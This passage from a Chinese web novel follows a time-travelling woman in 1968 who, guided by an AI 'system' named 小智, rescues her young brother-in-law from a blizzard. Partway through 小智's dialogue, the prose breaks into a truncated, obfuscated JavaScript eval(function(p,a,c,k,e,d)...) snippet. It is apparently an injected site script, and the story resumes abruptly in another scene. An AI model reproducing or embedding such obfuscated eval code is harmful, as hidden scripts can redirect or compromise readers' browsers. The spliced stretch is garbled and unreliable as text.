“唉,也不知道哥和爸现在怎么样了。”小少年突然变得忧愁了起来。 林晚霜用布垫着手端起搪瓷盆往他饭盒里倒粥,眼角余光却没有离开他的脸:“师部大医院的医生肯定很厉害,放心吧。” 他点了点头,只是脸还是紧绷着。 “这样,等吃完饭,你给你哥和你爸写封信,把你想和他们说的话写下来。等他们回来,再拿给他们看。好不好?”看他仍旧皱着眉,她放缓了语气哄劝道。 陆星野立刻看向了床边的玻璃罐和碎纸:“就像爸给妈写的信那样吗?” “对啊,”她笑着说,把搪瓷盆放回灶上,去包袱里拿出一个军绿色的小挎包展示给他看,“还有这个,这是我请我师母帮我准备的生日礼物,祝陆星野小同志六岁生日快乐!” 她说完把包塞到他怀里,自己鼓起掌来,如果不是实在不合适,她甚至想唱首《生日快乐》。 “嫂子!”他摩挲着军绿挎包上的那颗五角星,眼中满是感动,“我永远会记得你的好,以后你就放心的把孩子交给我带!” “别别别!”她吓了一跳,截至目前她还想过结婚生子的事。 以前太狭隘了,总想着陆沉舟看起来是个大腿,得努力抱紧。 可现在想想,她分明不可能真的给他当员工,他的事业是她无法插足的领域。 更何况,她觉得自己完全可以去做自己人生的主宰,去给自己打工,去让自己当老板。 等把原主留下的麻烦解决干净,她一个人独美,做自己的女王。 结婚,孩子这事儿,谢邀,免谈。 她弯下腰看着面前的小少年,教导他:“你真想带孩子去帮你哥带,别找我,懂吗?” 陆星野有点懵:他哥的孩子难道不是嫂子生?他帮哥还是帮嫂子带孩子,有什么不同吗? 大人有时候真的很奇怪啊! 不过,他知道的,这个问题和之前所有困扰他的问题一样,等他长大了就懂了。 长大?他今天六岁了,可不是比昨天大了嘛? 想到这里他眼中闪过一丝窃喜,将包珍惜的放在空着的石凳上,低下头努力扒饭。 林晚霜见他专心吃饭,自以为带孩子的事已经结束了。 这天饭凉的太快,她也不敢再多耽搁,走过来拿着搪瓷盆往自己饭盒里倒粥。 两人吃饱后盆里还有一小半。 她看了看时间才上午十一点半,于是准备抓紧时间学习。 用浮灰把火掩住,她又照顾了陆星野一声:“灶灰里还卧着四颗土豆,你要是馋了就刨出来吃。我要去学习了,有事叫我。还有,除了扔东西,不要开门。口渴了就喝点粥。” 小少年乖乖点头应下,眼神却早已瞟到了一旁的小挎包上。 林晚霜看了眼小挎包也笑了。怪不得师母说小孩子都喜欢这个。 她拿了一本书出来,又掏出纸笔放在石凳上,自己坐地上开始学习,记录。 很快,她就完全沉浸在知识中,她眉头皱的很紧,一双眼睛死死盯在书上,手中的笔在本子上不时的写着什么。 时而又停笔,嘴里念叨着什么“原理”“悖论”,然后用笔狠狠把刚刚写下的内容划去一处或是多处。 陆星野稀罕了会儿包,突然听到外头有小孩子说话。 “虎头,这是你在红柳林捡的柴火啊?”这个声音很好听,他知道这是那个叫做槐花,头上总扎着两根辫子的女孩。 “对啊,我都8岁了,又不是6岁的小屁孩,当然要帮家里做这事了!”一个吸溜着鼻涕的男孩声音响起。 “6岁怎么了?”槐花很是生气,“咱们岁数小,但是咱们也不是孬的。别的不提,就说星野,他才5岁,挖野菜认野菜还识字会用称会算算数?你就说他厉不厉害吧?” “哼!”虎头大声说道,“陆星野?那就是个胆小鬼!今天早上我跟我爸去灶房领吃的。陆星野的嫂子一个人来的,这说明啥?说明他压根不敢出门!怕冷!他穿着鹿皮靴,戴着狗头帽还怕冷?怪不得他是坏分子家庭。” “你胡说!星野才不是胆小鬼!”槐花急得大骂,“你一定是撒谎了,他肯定出门了。就是你没看到。” 虎头立刻提高了嗓门:“我胡说?所有……” “虎头!你还磨蹭啥?快回家了!”一个男人喊道。 “等陆星野出来了,咱们当众问他今天有没有去灶房。”虎头扔下这句话,在男人越来越不耐烦地催促中匆忙走了。 陆星野忍不住扒着门缝往外看,就见虎头拖着比自己长两三倍的红柳树枝干从他家门口走过去。 而槐花,她头上裹着块布,怀里也抱着红柳枝。 他捏紧了拳头,看向屋子里他的狗皮帽子和鹿皮靴。 他想起来,家里除了他和陆父,其余人连顶帽子都没有。 他看向了灶塘边上晾着嫂子刚刚才脱下来的布鞋。 最后,他看向了那一捆抱回来就已经烧了大半的柴火。 眼前,闪过虎头拖着的红柳枝。 他的眼神坚定起来:“我已经不是5岁的小孩了,柴火太少,马上就不够烧了。哥在照顾爸,嫂子在学习,我得担负起身为男人的责任。” 他开始收拾出门要用的东西,保险起见,他把林晚霜的围巾也带走了:“我是一个成熟的战士,绝不贪多,嫂子的围巾大,要是树枝长我就当绳子用,捆着拖回来。要是剩下的很零碎,我就用围巾包了拖回来。” 临走前,他又郑重地将自己的小挎包挎在身上,正了正自己的狗皮帽子。 然后他像个小将军一样,昂首挺胸,走进了漫天风雪之中。 一个小时后,地窝子里。 林晚霜坐在地上抬手对着自己脑门就是一下:“卡氏定律,卡氏定律,你是猪吗?这个结构计算放着卡氏定律不用?你去用图乘法!笨死了!” 她咬牙切齿地在本子上重重画?,然后重新开始新的验算。 【小智:宿主,你设置的休息时间到了,请站起身活动身体五分钟,做一套眼保健操后再继续学习。】 “小智你是不是智障?没看到我快要把这道题做出来了吗?就不能等我做出来再提醒我?”她被打断思路,咆哮着大骂。 【小智:宿主说过,每隔2小时必须活动身体,做眼保健操,身体是革命的本钱。时间到了,请宿主执行计划!】 林晚霜无奈地放下笔,嘴里嘟囔着:“下次我要把你设置成两个半小时再提醒……” 她开始打八段锦,然后这一回头,却发现地窝子里就她一个人:“星野呢?” 顾不得锻炼身体,她快速走了一圈:“小智,陆星野去哪里了?” 【小智:宿主,陆星野在一小时二十四分三十七秒前离开了这里。需要为你打开实时定位查看他在哪里吗?】 “需要!”林晚霜声音发颤,听到他已经走了这么长时间,心里突然生出不好的预感。 小智立刻打开了实时地图让她查看。 “红柳林?!”她后退一步,差点跌坐在地,双眼瞬间失去焦距,“他去红柳林了?小智,他在那里多久了?” 【小智:宿主,你刚刚才打开实时地图,之前你没说,我也没关注陆星野。】 “你特么得我说了才会做吗?你自己没有点自主意识吗?”她愤怒地大喊起来。 【小智:机器人三大定律,第二条,机器人必须服从人类的指令,除非该命令与第一条冲突。宿主,我必须遵守这三条定律,这是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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物理不是白学的,刚刚下坡她用了重力加势能的原理,现在她要用摩擦力了。 野猪皮只硝了一次,皮毛面对细绒毛她没处理过,此时正好用来包裹脚,让它们变成助爬靴。 粗暴的的固定到脚上后,她毫不迟疑地手足并用往上爬。 不能节省体力,一起只为了尽快去到陆星野身边。她将冻的通红,已然麻木的手放到雪上。开始往上爬。 【小智:宿主你真的很努力,但是用了8分钟,加上前面的时候,现在12分钟了。距离陆星野还有780米。】 “臭小子!等我抓到你,你就死定了!”她咬牙切齿杵着不知是谁遗落在雪中的一根红柳枝往前走。 实时地图上就她和陆星野两个还在外面。现在的实时气温是零下四十二度。 滴水成冰在这里是写实,而非修辞。 她刚刚在雪地里滚了半天,此时还身处雪花冰雹之中,身上衣服本就不防水。一身衣服早已结冰。 此刻她拖着一身冰铠甲,被风一吹,竟真听得到猎猎声响。 寒冷让她四肢都趋于麻木,疼痛此刻都已经无法再让她保持清醒。 唯有那个念头—— “找到陆星野,把他带回去!” 当她终于来到地图上陆星野的位置时,她的头发,眉毛已有了冰雪的痕迹。 陆星野闭目仰坐在树坑中,他一只手抱着她的围巾,围巾边缘露出整齐的树枝,另一只手紧紧护着挎包,旁边不远处是倒伏的红柳树。 林晚霜腿一软,跌坐在他面前,冻的发紫的嘴唇嗫嚅着:“星野,嫂子来了。” 她伸出手颤抖地去探他的鼻息。 只一瞬,她一口气松了下来。 继而她眼神狠戾,观察了一下坑的大小,毫不犹豫地滑了下去。 下到坑里她才看清楚,陆星野的腿被卡在了坑洞里。 深坑加冰,他的衣棉裤到处都有破损。万幸没见血, 她伸手拍打着他冰冷的脸:“星野,星野!” 随着她的拍打,他眼睫微微颤动,嘴唇微动:“柴,我的柴。” 他还有意识! 林晚霜蹲下身,费劲地抱着他的腿往外拔。为了保护他的腿不受伤,她的手背很快又多了十几道划痕。 终于,在她力量耗尽之前,他的腿出来了。 她托着他的身体往上送,用腰胯,用头顶。等将他托到地面上后,她的手腕已经脱力了。 半小时后,林晚霜将陆星野放在野猪皮包上,自己坐在另一个皮包上,双手穿过他的肋下,屁股用力往后挪动。 为了爬上树洞,她脱力的手腕此刻已经肿成了馒头,紫红色的淤血触目惊心。 冰冷和疼痛让她思维变得越发迟钝,她干脆直接托管了思维:“小智,我现在已经无法思考了,接下来你要及时帮我纠正路线,带我回家。” 于是,边疆的戈壁滩上就出现了这样一副奇景—— 被冰雪覆盖的戈壁滩上,漫天肆虐的风雪之中,一个身形狼狈的女人坐在一块野猪皮上托着一个少年艰难挪动。 她的短发如同藤蔓爬满她的脸,她的嘴里却一直在念叨着“将热能转化为机械能”“在固,液,气三态之间转变”…… 不知道过了多久,她终于听到了天籁之音—— 【小智:宿主,还有100米就到了。】 “到了?”她呆呆地重复着,然后眼一闭向后仰去。 【小智:滴滴滴!警告!还有100米!宿主你醒醒啊!】 林晚霜再次醒来差点以为自己刚刚被大货车碾过。 她正想着难道穿到1968只是她临死之前的黄粱一梦? 突然她听到了有人在说话—— “陆小同志是受凉寒气入体。这两天可能会发高烧;林作家手腕是急性扭伤之后,没有治疗又进一步加重。而且她应该是月事刚走不久,只怕……” “等等!秦卫生员,林作家她不是怀孕了吗?” “王排长,那可能是我医术不精,总之她现在已经没有身孕了。” “天呐!林作家流产了!这……这可怎么办啊?” “小褚同志,当务之急是林作家已经高烧了,而且她这寒气入体很可能会影响生育。” “秦卫生员,麻烦您一定要治好林作家,需要什么药就说,我们连部卫生院没有的,我赵铁柱厚着脸去找师部要!” “秦卫生员”“王排长”“小褚同志”“赵铁柱” 这些名字一个个落入她耳中,她蓦然松了口气:真好,不是黄粱一梦。 下一刻她竟有些难以置信:来到这个年代,不过一个多月而已,这里缺衣少食,条件比起现代不知道艰苦了多少倍。 可她竟然一点都不留恋现代,而是更喜欢这里吗? 她睁开了眼,额头的热让她视线有些模糊。 她依稀看到床边站着的男人说:“可不可以找个女同志来帮林作家换身衣服?可以的话,再给他们换一床被子。” 或许是为了避嫌,其余三个男人坐在石凳上,只是面朝着床这边。 坐在左边石凳上的男人好像挠了挠头:“被子等下去我那边抱。至于女同志,小褚,林作家附近有女同志吗?” 只是还没等到回答,地窝子的门突然开了。 雪地反射着白光投进地窝子,漫天风雪,她本能地眯起眼睛。 一道高大的身影踏着风雪而来,在他身后那一片肆虐却无法撼动他分毫的狂野成为了背景。 石凳上的三人同时站起,看向了他:“陆沉舟同志!”